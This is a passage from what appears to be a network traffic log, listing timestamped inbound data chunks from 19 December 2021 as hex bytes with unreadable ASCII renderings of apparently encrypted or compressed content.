db 73 40 82 19 c7 e5 64 4a ae 17 a3 de fd 51 05 63 97 b1 21 a1 76 59 25 f5 bc 73 cc 16 b1 03 26 Data Ascii: 58\\>KSUv"kTqg;o-y\|>VFU1HqI;HdCF-#efh4bRWS}[;2dA)O;~l~Uv#s6A+Lj/;^vUKQg`hb\|kCOnD\s@dJQc!vY%s&
2021-12-19 20:13:23 UTC	63	IN	Data Raw: 8c df db 16 5b 00 ca 0f b3 5d 26 0b 5b 1c 07 8d b2 bb cd c9 b4 9e d7 0f c5 0a 8d b9 4d 59 5e c3 fd a7 68 0f 34 d1 0d c5 1f 1e fc c3 41 95 e4 47 a7 9c 92 27 cf 50 46 79 50 32 db 50 44 22 eb 49 3c 28 bf f4 23 58 a0 5d 15 19 3b ae a1 a4 c2 27 cf 45 7e dc 79 f0 0b d9 12 90 a7 98 a7 39 1c 26 80 76 5c e0 ad fa 5f e9 ea 20 15 b7 59 63 14 5a f9 00 22 60 7b e6 1e a7 35 a3 fb 13 b6 d8 5c 10 12 d2 3a 08 f6 47 d6 12 5a ad ef 56 5a c3 1e c2 ce a6 76 4d 61 7d b5 81 d7 48 4d 9b d1 73 df a0 39 c8 56 68 b8 5f 6d db 35 f8 89 14 5c 6c 02 5a 14 09 d1 af e5 2a 03 e1 49 1e 08 9a 26 51 30 68 4a 42 40 73 c0 9d 26 87 b6 2a bb 5e 62 fe 31 f1 c4 8b f4 75 eb 7f 3f 60 bd cd b3 c9 ba 6f c6 6d f7 6e b6 63 03 e1 f2 04 08 1e 99 ac bd 69 0d 33 bc dd 97 1e 02 d5 db 50 48 d3 13 d2 e1 1d 8e Data Ascii: []&[MY^h4AG'PFyP2PD"I<(#X];'E~y9&v\_ YcZ"`{5\:GZVZvMa}HMs9Vh_m5\lZI&Q0hJB@s&^b1u?`omnci3PH
2021-12-19 20:13:23 UTC	64	IN	Data Raw: 4f 57 3c 36 7d bc 9d 1f d2 85 49 c7 0e 80 4c d2 0c 7c 5a a4 0a 6c 01 c8 be 10 40 dc f4 7f 34 81 1f 43 4f e2 f8 f6 5c bf 00 3b 18 ca d7 b5 80 be b4 57 38 35 01 f9 9c fc 12 b9 ba e8 d5 c8 ea 04 20 ce ac 29 ab 1a 19 96 52 ff 54 78 c2 b3 ed 0d ef c6 db 6b 6c a4 ed e6 b2 b9 6c 94 a8 fe c2 0e 2b 3b ae 56 24 25 ba 8f 42 cf ef 80 43 92 fc 50 fe 1a ab 4c e7 6e 86 2d 20 1c 52 a8 1c 7f 69 1e 12 4e 23 3d a2 02 25 70 93 ca 77 35 13 85 64 e8 70 c8 a1 79 16 a6 d7 1e 1c db 09 8c d5 48 00 90 25 6b c5 d3 a1 49 38 31 6d 46 90 89 de 3d 16 36 9b 93 7f e0 3a 14 18 2c bb 23 f0 eb a7 a9 88 2c 3e 59 97 81 ac 27 6d 1c 2e 9c 3f 50 68 c2 b8 b1 e3 89 2a 30 73 15 0f e6 27 dd 52 21 d8 91 2d b2 88 4b 5a a2 4f 27 30 9a 05 65 e3 03 1b 51 61 1d f3 0d 0c 56 e1 82 12 44 b0 4e 00 4d bb c3 b4 Data Ascii: OW<6}IL\|Zl@4CO\;W85 )RTxkll+;V$%BCPLn- RiN#=%pw5dpyH%kI81mF=6:,#,>Y'm.?Ph*0s'R!-KZO'0eQaVDNM
2021-12-19 20:13:23 UTC	65	IN	Data Raw: 12 52 20 67 bf 6c 4e 51 1d e3 93 1f 77 1d 28 64 28 43 19 d0 ab ec ea 57 87 9b e9 04 1d 82 77 fa fa 4e 78 da 5b 5a 03 96 85 f9 ab bb d8 41 f8 0f 81 91 26 48 10 94 6b 19 42 1a 86 e8 dd 6b a2 6d f4 de 08 7a df 8c 6c c2 ca 01 4a 68 ea 1c 40 06 6a e4 69 1c c4 05 6b e4 34 3c bd 40 2e c6 39 d3 f3 99 4f 44 ff 63 fe 45 8c b9 4c f4 75 3e 12 65 72 bd cd 3a d9 12 76 9f 3a b7 f4 55 28 02 ca fe 04 08 83 7c 14 07 5e 3a 0e d2 60 68 09 4b 1b 61 43 f3 7f 06 26 68 a7 cd af 59 3f 1e 66 fa a9 53 a0 36 38 8b 6f 64 94 29 28 4f d8 1a e9 6a 3a f6 ce 77 7a 4f 86 4e b7 6d 11 b6 9a 50 ae b1 91 f2 dd ae 9e 28 3b e1 8f e0 28 fc 66 c5 4f 4f 53 52 72 23 81 65 58 11 7c 70 01 ad 26 a3 d2 94 d5 93 54 3c 90 92 da e0 9e 2d 64 53 bb 97 e7 7e ce 92 7a f8 71 92 3a 4e 8f 93 d4 7a 51 e2 ea 89 ea Data Ascii: R glNQw(d(CWwNx[ZA&HkBkmzlJh@jik4<@.9ODcELu>er:v:U(\|^:`hKaC&hY?fS68od)(Oj:wzONmP(;(fOOSRr#eX\|p&T<-dS~zq:NzQ
2021-12-19 20:13:23 UTC	66	IN	Data Raw: f7 11 c6 e1 5d 6d cd 2e 8e df 4e 7d 34 b8 7a 5f b3 85 25 0b 5b 68 37 ff e7 bc f4 3e c0 f4 5f 4a 25 e2 36 1c f3 59 2a 0d 90 cb 6a b7 34 a3 13 95 69 a4 e3 c3 19 3e e4 47 17 d1 64 d1 bd ea 2b 77 89 27 cc 7d e9 19 2e 3d 86 43 d2 a6 99 58 a0 88 2a 63 4b 26 44 59 82 4d 30 bb c3 44 c5 ac 97 68 de 15 58 65 a7 16 12 77 40 00 73 92 51 2a b6 ef ad 37 6d 7a e3 4c 51 57 7f bd dd 77 8a 57 1c 18 be 6b aa 83 ee 60 5c 55 91 12 44 1d 95 7a 43 6d 9d 08 0f 23 2a 79 31 f5 83 28 cb b2 76 ed 9b 44 d7 dd c2 85 e8 7e 70 fe bd 91 a0 81 cc a0 a1 cb ec 65 d8 fb 05 f1 ac 9c 15 9d a6 af e5 a8 dd 58 f3 11 d5 be 66 1d 8e 97 91 c9 fa 4f 13 f8 b6 bd 27 a7 b5 c2 63 d1 4b d9 d6 34 95 74 99 05 28 db ae 62 a8 f5 fb 6e c6 d5 3e 1b 6e 11 2b a7 93 a2 93 e2 86 49 3a 5c f7 8b c3 18 e3 0b e4 6f 9e Data Ascii: ]m.N}4z_%[h7>_J%6Yj4i>Gd+w'}.=CXcK&DYM0DhXew@sQ7mzLQWwWk`\UDzCm#y1(vD~peXfO'cK4t(bn>n+I:\o
2021-12-19 20:13:23 UTC	67	IN	Data Raw: d2 26 68 83 42 b4 14 e8 58 8e 28 e5 3b 33 d9 ff 3a 6d c5 03 0e fa 73 68 08 43 a4 5b 87 83 85 be 04 1f aa 7e 28 ce 75 69 51 7f 4f cd f0 b7 d0 c9 2f 49 d0 8b b7 60 3d be a3 e6 81 1a 44 0a fe 34 ef ae fe 25 6f c7 89 87 c1 d9 94 3d 07 6e 9b a9 fc 6f 1f 48 b0 60 74 cf 29 8a 56 a5 bc e1 b5 9a b7 49 6c ac dd fe c2 2c 51 8f 14 d3 80 ec b6 3c 42 cf 9b f5 44 2a 87 96 b7 91 f6 44 da 5f 91 0c db e7 ad c2 19 1c 4b d2 bd 10 74 19 9b ff 51 8f e1 9f 88 0c e4 f1 5c 3f c0 ab a0 0d 7c 32 15 d4 1c af c1 f9 a1 12 1b 90 60 c8 f2 c9 f8 23 95 32 75 6f c9 b5 ac c2 64 c6 ec e3 c5 d7 68 f8 d6 93 44 46 4e d7 a5 a9 9c c9 22 2e a0 c4 a9 55 ad e1 39 4f c5 ad 97 a8 be d2 37 40 85 6e 22 21 c6 1b 53 22 45 87 69 aa da b4 dd 4a e2 99 58 ed 72 65 fa 0f 0a fe 67 5e ce 31 aa 24 b0 a9 95 6a b6 Data Ascii: &hBX(;3:mshC[~(uiQO/I`=D4%o=noH`t)VIl,Q<BD*D_KtQ\?\|2`#2uodhDFN".U9O7@n"!S"EiJXreg^1$j
2021-12-19 20:13:23 UTC	69	IN	Data Raw: 1d 77 02 dc e0 6d 46 48 10 52 54 bf c6 f4 64 98 1d f4 cb af e0 1d 5c 1e d3 ab ea 9e ba 13 14 b1 b7 7f f1 b4 e2 82 68 03 1f f7 e7 65 a4 28 27 42 ca 47 54 bd 4d 61 26 ac 81 d7 a9 cc 74 6b 7c 70 51 68 fc 77 97 cc a0 19 5e 4a d4 1b a9 73 1e cc 1b 9c 4a 68 af 91 55 a6 db 4d ee d3 29 a2 08 d7 98 3e bd d5 a3 ce cc 72 f3 99 58 9f 12 2d 40 ce 92 d9 59 ed d1 99 05 28 1b 1e cd f6 e6 18 a2 43 06 c1 1b 41 a9 be 01 22 a6 c1 94 69 aa 75 f9 48 74 b1 16 82 f6 aa d1 24 24 b1 86 76 fe d9 58 b9 c5 a6 62 0e f2 0a d3 4e fc 89 74 41 2a 03 c4 60 6d a7 66 e5 e9 ef 91 d9 02 48 70 9b 5a 7a c1 82 86 d1 35 ec 46 1c 22 55 df da ec c2 c6 1e 70 6b d5 20 95 7b b0 49 c4 6a 67 f0 8e 72 d6 41 83 02 19 64 bd a1 d2 ca 33 21 15 3c 1b 7a 43 cd 3a 2d 16 5d 4e 26 e7 7e d9 94 cd 82 c6 e0 40 c5 f9 Data Ascii: wmFHRTd\he('BGTMa&tk\|pQhw^JsJhUM)>rX-@Y(CA"iuHt$$vXbNtA*`mfHpZz5F"Upk {IjgrAd3!<zC:-]N&~@
2021-12-19 20:13:23 UTC	70	IN	Data Raw: 9b a4 a5 63 17 35 84 ed 2c 5b 27 86 6b 43 bd 4c 54 a3 f9 60 cd e3 a2 0a 0c 51 87 24 e2 73 f4 a1 7b fe 11 00 73 42 06 1f 31 6c 91 f4 19 0f 59 4b 9a 7e d1 e3 78 16 b1 b8 a6 66 9c 7a f6 b6 3d aa 93 77 70 03 6c 5e f1 7c 03 9b f8 87 3c f8 b2 5b 02 94 95 28 70 68 43 00 93 44 f8 0b f1 01 0f 07 a8 a3 f7 55 d2 10 f2 d2 e3 2e 57 5c 50 68 c2 be b7 33 cd 84 6e 50 05 06 57 ed dd 26 f1 b3 96 73 c6 a7 4d 9a d2 59 a8 8e 35 77 8a 52 76 a1 5e ba e9 d3 54 77 67 95 7d 66 19 83 74 f7 39 e0 5b 6d d3 ae 76 70 38 60 ec b3 f4 2a cc 82 11 cd 81 a0 9a fc 2e 42 98 46 2c d2 bb 11 d7 f9 83 71 52 39 83 97 b3 dc fc 73 88 75 43 cf c9 c8 2b b8 a2 96 a4 ba 7f e5 06 5e 76 98 d5 07 a8 88 b7 cb af ce 0d 9b cb de f4 ef 2a 2b 85 5d 75 9f b3 23 12 30 14 52 d3 61 ea f2 4b 40 4f 8d c4 51 84 51 7b Data Ascii: c5,['kCLT`Q$s{sB1lYK~xfz=wpl^\|<[(phCDU.W\Ph3nPW&sMY5wRv^Twg}ft9[mvp8`.BF,qR9suC+^v+]u#0RaK@OQQ{
2021-12-19 20:13:23 UTC	71	IN	Data Raw: 2e e4 c5 8a c1 3d 17 44 02 94 8c 69 e3 72 01 05 5c f4 bd b9 4c c1 a0 81 ea a1 c1 b4 35 67 37 15 6f d7 08 94 c6 c9 d7 9c 48 74 c3 d8 53 7d 4e 48 cc d7 85 21 61 1c 6c 63 cb fa 46 07 d2 9c 0a d3 3c 18 09 4c 55 ca 60 aa a4 3b 03 12 5f a2 82 8f 40 02 48 a4 d6 aa 27 0d bd 23 03 39 74 27 2c fd a8 21 51 61 1f 7c 15 df 6b 85 90 cf 6b 98 3d 29 62 2e 9c cf cc 29 a0 83 70 5c ab 86 56 a8 ab 60 15 cc 3c 90 7a 26 e4 8d 82 64 93 3b 3a 72 7e 87 f4 f3 46 8e 94 bf d2 54 44 d4 3f 03 69 af 7d 52 b2 79 2c b9 ea 30 ac cc 4c 85 e6 76 1d 25 12 4e 72 a8 5a 93 45 a2 d1 39 ed 3b 7a 27 02 12 31 c2 b5 63 7a ef 96 03 df a9 57 83 64 07 99 c4 52 1d d5 14 3e 87 05 ed f2 77 3c fa e6 38 d3 f9 8a 55 ce df 5f f2 9f 31 3c 12 1a aa 96 3d 27 36 24 c6 0d 28 ee d7 a5 fd 74 75 62 91 0c ef da 0c 3a Data Ascii: .=Dir\L5g7oHtS}NH!alcF<LU`;_@H'#9t',!Qa\|kk=)b.)p\V`<z&d;:r~FTD?i}Ry,0Lv%NrZE9;z'1czWdR>w<8U_1<='6$(tub:
2021-12-19 20:13:23 UTC	72	IN	Data Raw: 2d 18 c6 b0 7f a2 97 a2 be 3a a6 79 7a 93 af a4 4e c9 ac dd ad f9 5b 55 25 34 58 cc 1f 6b a7 5d 71 65 fa 0f e2 dd d5 4d 60 05 7b bc 4d 56 00 82 87 94 7a ff f1 97 ec 03 0d 32 b9 21 72 67 cc 8d 38 e2 5c 76 14 9c 05 e8 e4 78 28 2e 1c 45 b7 95 3a 24 3a c0 80 58 cb 59 5a 0a 10 b2 dc 30 e3 50 98 b5 28 77 37 c4 12 6e 1a d0 aa 0d 9f 11 2e 21 99 7a 75 a6 05 5a 86 11 77 fe 90 d2 36 de 54 29 3c 47 7a 07 f5 9c 58 75 32 4a d5 89 01 cd 86 b4 f8 ee 08 0c 51 f0 5d 9a f8 ac 19 c3 a9 66 db 7a 1f 64 03 8e 5f 6d 87 23 e6 e8 4c ea 2f fc 3e 5e 12 81 7f 84 7d 68 f8 8d d7 a8 f4 3e c0 26 d2 53 64 e2 7f 7e 03 e7 d5 79 25 c2 12 dc 36 d1 79 a7 91 5b 1c 2b 5c 6a 3c 47 63 cf 69 b8 bf ea 59 1a a4 ba cc 7d 85 1d 1b 46 aa c9 57 2a 57 67 0a b0 49 0e fe 4e c4 5b f2 29 46 ee b8 51 21 51 d8 Data Ascii: -:yzN[U%4Xk]qeM`{MVz2!rg8\vx(.E:$:XYZ0P(w7n.!zuZw6T)<GzXu2JQ]fzd_m#L/>^}h>&Sd~y%6y[+\j<GciY}FW*WgIN[)FQ!Q
2021-12-19 20:13:23 UTC	74	IN	Data Raw: 70 08 43 82 d8 c5 3b 57 5e cf 70 23 f3 08 a5 d6 7c 70 64 4e 5e a1 d2 e0 ea 1c a9 c3 6f 2a 54 d4 95 ba d1 ca 8a 6a e7 f4 de ac 00 1b cf 1f 32 bf 06 91 d4 3f de 77 22 74 fd ec 14 9a f9 ea bb 44 1a be f9 dd 9d 2d 91 9a dc 66 98 ed fa ec c8 5c 37 d0 36 d5 79 64 a5 70 c2 3e 8b 9f 1c ea 38 5c b7 ff f3 de 44 fc 15 05 1f d5 14 a3 36 71 d2 1f bd a9 ec 1a 4c 69 51 32 ad d9 91 e1 c1 d4 6b 9a 9b fd e7 8e 5d fd 52 ab 6c 1a e7 2d 55 4e fd fe 40 8f c5 e3 51 25 d1 f4 47 c0 4d ab 7b 93 32 0d 55 a7 67 8b 6b ca 16 e8 2c 46 92 99 6a af ea 00 c5 b6 ca 62 a8 5c e8 54 98 d6 43 b8 4b 06 8c c6 8f 1d ef 82 92 cc 75 81 94 ab 97 12 84 cd d9 b1 ac 4b a2 e1 d7 91 db be b4 57 f8 65 46 7e 94 06 11 51 01 a8 c2 3b 41 be 0b ab ee e7 a9 1a 63 be dd f2 20 c2 9b b6 45 de 65 34 ec 2d bc 1e 65 Data Ascii: pC;W^p#\|pdN^o*Tj2?w"tD-f\76ydp>8\D6qLiQ2k]Rl-UN@Q%GM{2Ugk,Fjb\TCKuKWeF~Q;Ac Ee4-e
2021-12-19 20:13:23 UTC	75	IN	Data Raw: ce cc 18 8a 0b 08 d5 3b 37 93 d5 07 49 9d 2a ec 8a 31 79 76 32 ca e5 40 d5 5f ef b5 3d 48 e8 22 66 4a d1 d5 9e df ba f4 ce c8 f9 24 c4 25 5a 28 37 28 4e 93 c0 4a 63 a2 c4 e0 16 0d 0b ee 20 39 ae f8 32 e9 fd 7c b0 c5 a0 78 81 1a df 07 68 f8 8d c3 60 bd 80 3f c5 5a a2 ad a0 21 01 39 23 89 79 ea b0 c7 c5 4e 76 79 e2 6b d0 49 d7 5c 2d 07 47 63 cf 61 74 bd ea 59 79 10 f2 81 c3 01 56 06 9a 91 a7 a2 d5 9b cd 5f 55 40 42 40 b1 5f 05 ba fe 8e ce b0 2c c1 1a 95 97 ac 1b a9 cc a7 16 60 b2 05 78 dc 92 17 d1 3c ba 51 37 28 26 e3 4c 25 6f 5b bf dd 77 69 b6 f9 e9 ff e6 a4 e9 4b 77 91 1a 68 ed 2e 1d f0 97 4e 6d 9d 7c 3b 6f 65 c7 ce f3 06 bc 38 0f 76 fa 7b fb 64 dd b6 ef c4 0e 0a 49 1a 86 e8 e3 66 a3 7a 8e aa c3 7e 14 01 a9 b8 69 03 3e 82 c4 a9 01 06 e1 1e b6 b0 ce 0e 1f Data Ascii: ;7I*1yv2@_=H"fJ$%Z(7(NJc 92\|xh`?Z!9#yNvykI\-GcatYyV_U@B@_,`x<Q7(&L%o[wiKwh.Nm\|;oe8v{dIfz~i>
2021-12-19 20:13:23 UTC	76	IN	Data Raw: 81 bf e9 60 8b b8 40 cd 2a 77 3c 91 24 e6 1d e5 63 ff 12 6e 1e 98 14 5b c3 8b ec 97 cd e0 a0 32 34 86 6c 5d 39 a5 1f fe e9 39 11 a6 e1 9d 1a d4 17 0b 04 5c 43 a6 5e fd 96 59 47 e5 4b 2f dc 83 01 58 fc 4d 09 d7 5f a7 d8 7b 85 6e c7 c1 61 05 fd 60 9d 72 5b f5 8b 54 8b 13 ef 5b 82 d7 31 00 49 19 06 74 da 3f 78 ab cb 2f c3 99 76 23 b5 83 41 c6 9f 99 5f b8 81 6b bc fa 9a 19 57 d5 ba 34 9d 7f 63 97 83 74 b6 63 a9 a1 bf 63 85 3a 1b 94 23 72 fc 6b d1 43 e1 10 ad 9a f9 ac 4f e8 fe 48 80 a2 f5 2b 1c 77 84 66 3e eb 54 7c 7f 43 c9 3a 54 7b c4 a3 29 52 f0 91 0c 0b 1c 26 87 c1 1c 8a f9 bd 10 af 07 a6 de 46 ed 7b e5 0b a1 f3 29 9c 9a 0a d9 1a 3e 62 1b 30 c3 93 35 7b f6 c2 f3 47 e2 ca 1b da d2 84 85 0e 36 20 b3 f3 e2 0d 2a 8f 54 6b e1 b1 6d 34 84 ad 3d 44 34 4f 6b 2d 5b Data Ascii: `@w<$cn[24l]99\C^YGK/XM_{na`r[T[1It?x/v#A_kW4ctcc:#rkCOH+wf>T\|C:T{)R&F{)>b05{G6 Tkm4=D4Ok-[
2021-12-19 20:13:23 UTC	77	IN	Data Raw: 0b 48 74 b3 15 0a 4b 2d 96 fd 28 cf b9 cc aa 3b b5 0d fa 51 76 36 e9 d7 59 3d 86 4c 97 5f 69 94 9f 82 8c 4f db c7 b0 4d a5 4c cf ce b6 69 dd 01 5c 2d b3 78 3d 97 a7 16 cf 43 c8 4c cd 6d 63 2e 48 3f 2e 1b e2 bf dc bc 2b 1f 0b 40 22 05 a7 4f b1 d5 fb 16 7f 91 ec f7 df c3 d6 12 cf 58 89 52 a3 46 d0 c2 9a d0 d7 79 1e fb c2 40 b3 8d 86 80 26 7e 28 22 a0 aa 94 83 8f 8c a0 ad ff 74 39 a0 6d 86 f3 ec 69 8b 86 1e b8 1b b9 79 7f 5c 10 bf f9 00 0c 65 1d cb aa 41 ad d9 80 42 34 a3 bc 89 ad c8 6e 2c ee 4f d9 d5 26 f1 d2 4e f4 e0 67 71 e6 6e 12 93 d5 a8 09 2f 4d 5e c1 34 3d e6 e3 76 1a 76 b2 bb 7e ed f3 5e 48 e1 4c 16 d2 06 4b 31 f8 1e e2 de 15 97 d6 77 c5 6b ae 64 4b 2b b0 e0 59 ed c2 38 ff d5 fd 2c e0 84 d1 d8 1a ef 2f 75 ad a8 63 c8 5f cd d5 c1 82 0c ea 08 58 83 7d Data Ascii: HtK-(;Qv6Y=L_iOMLi\-x=CLmc.H?.+@"OXRFy@&~("t9miy\eAB4n,O&Ngqn/M^4=vv~^HLK1wkdK+Y8,/uc_X}
2021-12-19 20:13:23 UTC	79	IN	Data Raw: 4a cb 2f 33 9d 11 ba 34 3c be b4 51 38 09 eb 69 be a2 ed ae 32 68 70 6e 38 25 7d 36 03 b0 7b a4 9c db a9 9e 22 c2 e9 89 d7 23 9a cb be 4a b0 e1 9a 9c 77 c5 79 f1 17 e9 74 61 d0 4f 66 23 f4 79 99 c1 b9 cc 64 80 bc aa 36 98 09 6e f6 44 2e 5f 91 0c 89 cd a8 3d e6 79 a9 7e bf 10 00 36 e0 02 ae 70 84 34 f8 0e e4 83 f1 91 4f 57 5f 86 e9 a6 c9 27 1c db 47 e0 ee 49 01 90 74 5e b9 d6 51 25 af e0 ee e2 25 75 e9 c2 e9 4b 94 1e 3a 74 80 46 ef 42 bb e1 cb ab 58 56 63 23 b3 1c 5f 67 24 d0 2d 0c c6 b0 7f f3 97 e0 be 53 a6 0a 7a e5 af cb 4e 94 ac a4 ad f1 5b 55 25 3b 58 c6 1f 39 a7 57 71 6d fa 0f e2 a6 5e d5 31 c4 2f c8 4d 56 6a 82 ed c1 b8 66 89 02 1f b3 0e 9e bc 20 ac 19 e3 8d f0 96 28 cc 17 98 dd 9c f1 9b fc 58 7e b4 0f 92 2d b9 8c 47 82 2a 71 24 2f 72 c6 b2 dc 8a be Data Ascii: J/34<Q8i2hpn8%}6{"#JwytaOf#yd6nD._=y~6p4OW_'GIt^Q%%uK:tFBXVc#_g$-SzN[U%;X9Wqm^1/MVjf (X~-G*q$/r
2021-12-19 20:13:23 UTC	80	IN	Data Raw: cb 0a f3 13 68 87 0c 89 8e e2 26 c0 c7 b1 ef 6b e9 8f 8c b0 b9 b6 34 81 1e 92 80 b6 d4 e5 b1 73 1e cc d3 3c e5 1a 15 a6 cb 53 96 e4 0f 50 c4 05 6b 3c d4 4a 57 cf 12 02 59 a5 1e 3e 4f 8a 3a 63 fe a4 19 54 e4 b3 2b ee 49 e2 9e c9 32 e1 2a 66 d0 39 d5 7b 5c ee af ae 49 41 ae 0b 83 26 29 07 5e 3c c6 fa 16 82 5a a9 d1 24 24 b1 86 76 14 d1 58 b9 c5 a6 62 ce 16 54 74 03 1c c9 4c 00 c2 8a ea 77 3b 77 dc aa 32 e7 80 8a 76 e2 dc fe a0 22 c1 82 f2 17 cc 9b bb 54 a5 eb 20 da 73 ca d1 b3 77 1f 3f 1a 27 b7 e5 6a 77 ea 3e 9d 7e 06 29 c3 52 a2 73 d7 c9 1b 85 3b e2 d5 f0 b7 c5 86 43 ef 69 2d 16 5d 86 ce 93 94 2a 75 01 07 05 0d e7 d2 53 94 d4 3f 39 e2 67 dc a2 b2 21 2c b9 ea 30 ac db 3c 2b dd 9d 13 a0 c7 73 14 b5 39 6d f8 34 39 af a0 34 d5 0d 93 3f fb d7 9e d2 c4 3f 9e d5 Data Ascii: h&k4s<SPk<JWY>O:cT+I2f9{\IA&)^<Z$$vXbTtLw;w2v"T sw?'jw>~)Rs;Ci-]uS?9g!,0<+s9m494??
2021-12-19 20:13:23 UTC	81	IN	Data Raw: 1b 40 d7 b4 54 d4 94 b1 a6 38 d8 1c db ee 09 c4 23 f7 90 60 04 93 77 12 3b f1 30 65 ef 34 9e 12 3d 62 c6 9c e1 c5 d7 d0 e1 6a 68 44 34 34 20 0d aa 8b e2 b0 e3 a0 b0 a9 d4 d2 e3 39 3b 6a 27 26 e9 be b1 b4 21 92 02 5c 5b b1 8c ac 50 38 f1 a4 aa da 98 18 75 5e 66 2c 57 99 6a d3 f0 1d 03 db a1 ce 43 d0 ec c0 d3 96 7c 12 6b b8 df f4 2e ed 4d 0e 9e 64 fb 07 d4 c7 fb e6 0f 85 81 a9 11 cb 06 54 8c 55 22 1c 37 98 6d 5f a5 e9 c1 80 2a 2f a9 03 47 3b c6 23 eb f1 2d 0f 14 ba b3 cf 5e 12 a1 2e d4 0f 74 e4 72 2c 55 33 d6 10 6a 9e 58 86 65 43 72 77 6c c9 de 14 a5 66 ae 5d 73 18 4f 35 30 3a 4a d5 0b 20 67 ec bb 56 f9 24 9a e6 be 95 df 9f 53 84 aa e9 11 3d b0 9a 19 78 e1 5d c2 f5 2b 9f de 4e ea 5b 10 c6 b7 1e 82 68 b5 d0 1a eb 8c 9d c7 82 d4 a3 fc 1b 4a ae f0 86 16 12 53 Data Ascii: @T8#`w;0e4=bjhD44 9;j'&!\[P8u^f,WjC\|k.MdTU"7m_*/G;#-^.tr,U3jXeCrwlf]sO50:J gV$S=x]+N[hJS
2021-12-19 20:13:23 UTC	82	IN	Data Raw: b5 1a 2d 62 3d c2 b3 25 72 70 78 b2 ab e6 4b 08 65 21 3a 5f f6 7d b5 26 e6 2e a8 0d d1 a9 d2 15 1c d4 fd c1 2b dc 71 3b dd ed e7 47 38 d2 7f f9 84 5b 63 ed 6c 37 a6 f5 17 2b 31 78 8e 9e 07 30 9b b3 7c 17 17 6d ca d0 7b a5 5d 92 0a 7a 41 68 e8 3e f1 26 2c 11 bd bf 17 20 f2 fd 51 f3 8c 0a 77 09 0b 01 20 a6 7e 11 a3 6e 82 b1 17 d4 67 e4 f1 0b 7a 6d cc af c5 a2 6b f7 28 6a 99 bb 58 46 78 3a a8 3e 01 a7 6a e0 c5 eb 69 ee 1d 92 44 20 3b 20 9b 0d 3a 7c 70 97 9f 6e af 3c 94 19 c6 b0 7f c5 97 c2 be 73 d3 80 2b c2 24 7e c7 a3 50 50 e8 0d b3 7f 21 c6 a7 f5 df 33 cf ba 4f 24 fa 6b 1d b8 3a 28 11 37 ec 54 ec a8 94 7d 60 c1 cb 01 4d 3a 83 ac c5 9e 10 fd ae d2 80 00 52 5b d5 db 69 ec be eb 89 a4 0c 55 ab c9 f2 6d 59 65 e9 87 7b ea cf ad 5a 6a c6 b3 dc 88 eb 88 b5 13 8b Data Ascii: -b=%rpxKe!:_}&.+q;G8[cl7+1x0\|m{]zAh>&, Qw ~ngzmk(jXFx:>jiD ; :\|pn<s+$~PP!3O$k:(7T}`M:R[iUmYe{Zj
2021-12-19 20:13:23 UTC	83	IN	Data Raw: 54 bd c8 15 f8 0f 81 e9 ca 43 23 46 d1 df 8a a0 6d 8e 53 67 7b 96 7e bb 07 85 bb d6 b9 48 14 03 b5 97 50 f1 48 5c 32 03 62 ad 3b fa e0 fa 2d 19 aa 33 a7 bc a6 a5 d4 2d 22 e5 cd 10 e3 ce 19 d9 f2 38 7c eb 7f fb 63 bd cd 82 4c a8 c7 62 ab c0 1b 35 a7 b3 00 35 04 7c 3e 4e aa ec 13 84 42 a6 c4 88 09 e4 14 e4 a0 27 70 9e 97 29 2a d3 fb 5b 10 64 2d b0 d0 59 8a ff 38 ff a1 1d 90 75 3b 03 14 5f 9e 82 e8 dc 03 48 ad 43 0b a1 7b 99 91 e4 56 ef 51 b7 51 56 c8 d7 9a 6c c6 6a 47 6d 85 a4 9d 3b b0 c2 d6 da d0 21 80 72 d6 5e 77 e7 10 6f 03 5e d2 1e bb 1d d1 74 6d 85 54 1b 62 d2 e9 d6 23 46 e4 7f d9 4f c5 4f 73 e0 40 b7 e7 20 d6 3f ac 0a 91 bf fd ec 26 0b b4 17 44 53 be 19 56 df 9d 67 0d 69 d6 67 0f 2e 63 fd 35 2e 4d f8 46 bf c2 23 5c 8f 49 7b 87 6d 6a 23 38 28 a9 02 4a Data Ascii: TC#FmSg{~HPH\2b;-3-"8\|cLb55\|>NB'p)*[d-Y8u;_HC{VQQVljGm;!r^wo^tmTb#FOOs@ ?&DSVgig.c5.MF#\I{mj#8(J
2021-12-19 20:13:23 UTC	85	IN	Data Raw: a9 a0 79 53 4d e8 2b e3 cc d8 e7 b7 49 72 ea db 06 cd 6c 1b 79 f1 bb 65 ef 40 42 13 3d 64 c6 c4 e3 c5 d7 68 71 01 92 44 46 4e ff a5 a9 9c c9 b9 e9 a1 c4 a9 55 75 e1 39 4f 97 a8 79 56 41 b7 23 25 87 6e 50 1e 4b e6 ac dd 45 f6 ae ab da b4 dd b6 e2 99 58 ed 73 65 fa 0f 0a 83 b0 5f ce 31 aa c4 b0 a9 95 6a 39 60 cd 75 85 83 bb c5 e4 31 b0 36 fb c2 c2 04 92 e5 58 76 3c f9 fe e0 f2 9b 8e 94 3b 43 e7 3d 8d 70 11 d7 9b d5 71 52 3f 43 e7 f7 27 03 23 05 18 50 c5 c8 c8 2d a8 b2 f5 4c be bf 5b 8d 3b 17 66 d5 07 ae d8 53 c3 ed ce 86 89 7b 96 a1 ff 2a 59 aa 45 10 8a e3 23 12 0c 5c 34 89 de 15 90 84 56 f9 24 b0 eb ff 8b 81 4f d8 89 62 03 fa c2 3b e0 16 79 e1 a3 92 78 ae 0f 20 b1 15 2f ba c5 a0 13 81 97 4a 77 97 07 72 66 38 09 c1 63 4e 70 4a 25 e2 de fe b0 a6 d5 86 49 4f Data Ascii: ySM+Irlye@B=dhqDFNUu9OyVA#%nPKEXse_1j9`u16Xv<;C=pqR?C'#P-L[;fS{*YE#\4V$Ob;yx /Jwrf8cNpJ%IO
2021-12-19 20:13:23 UTC	86	IN	Data Raw: 38 21 61 c1 7a 2c 41 50 76 6a 5b a9 70 40 4e a2 36 94 a1 c6 3b 85 88 4f fc 66 ca 34 e7 40 ae 00 48 df af a3 67 7f 7d f2 0f 98 f8 80 ce ea 55 ab d4 e9 6f c6 1e 67 47 31 8e d8 6a 11 1a 64 73 8f 57 7e 72 f9 a0 5b 70 f9 d4 2a c2 60 2a 6f 1d d1 40 6d 85 54 2c 37 fe 50 d2 ca 6a 18 69 72 35 be f8 71 aa c3 c7 8d 93 a6 45 d3 1f 15 76 b8 10 ad 9e f8 02 f1 5e cd 63 8d b7 e2 65 1a 98 ae 1c 74 58 19 52 20 ec 59 56 34 a1 03 5a 5e 8f 3d 6e 9c f0 c7 7d 5b 9a 63 87 83 a4 cf 8c 6f 86 6f 7c c7 f2 3f 6c 2d e0 de 37 61 19 4c 69 bc ae 09 ed 91 93 77 6c cc 3c 3d 23 6d 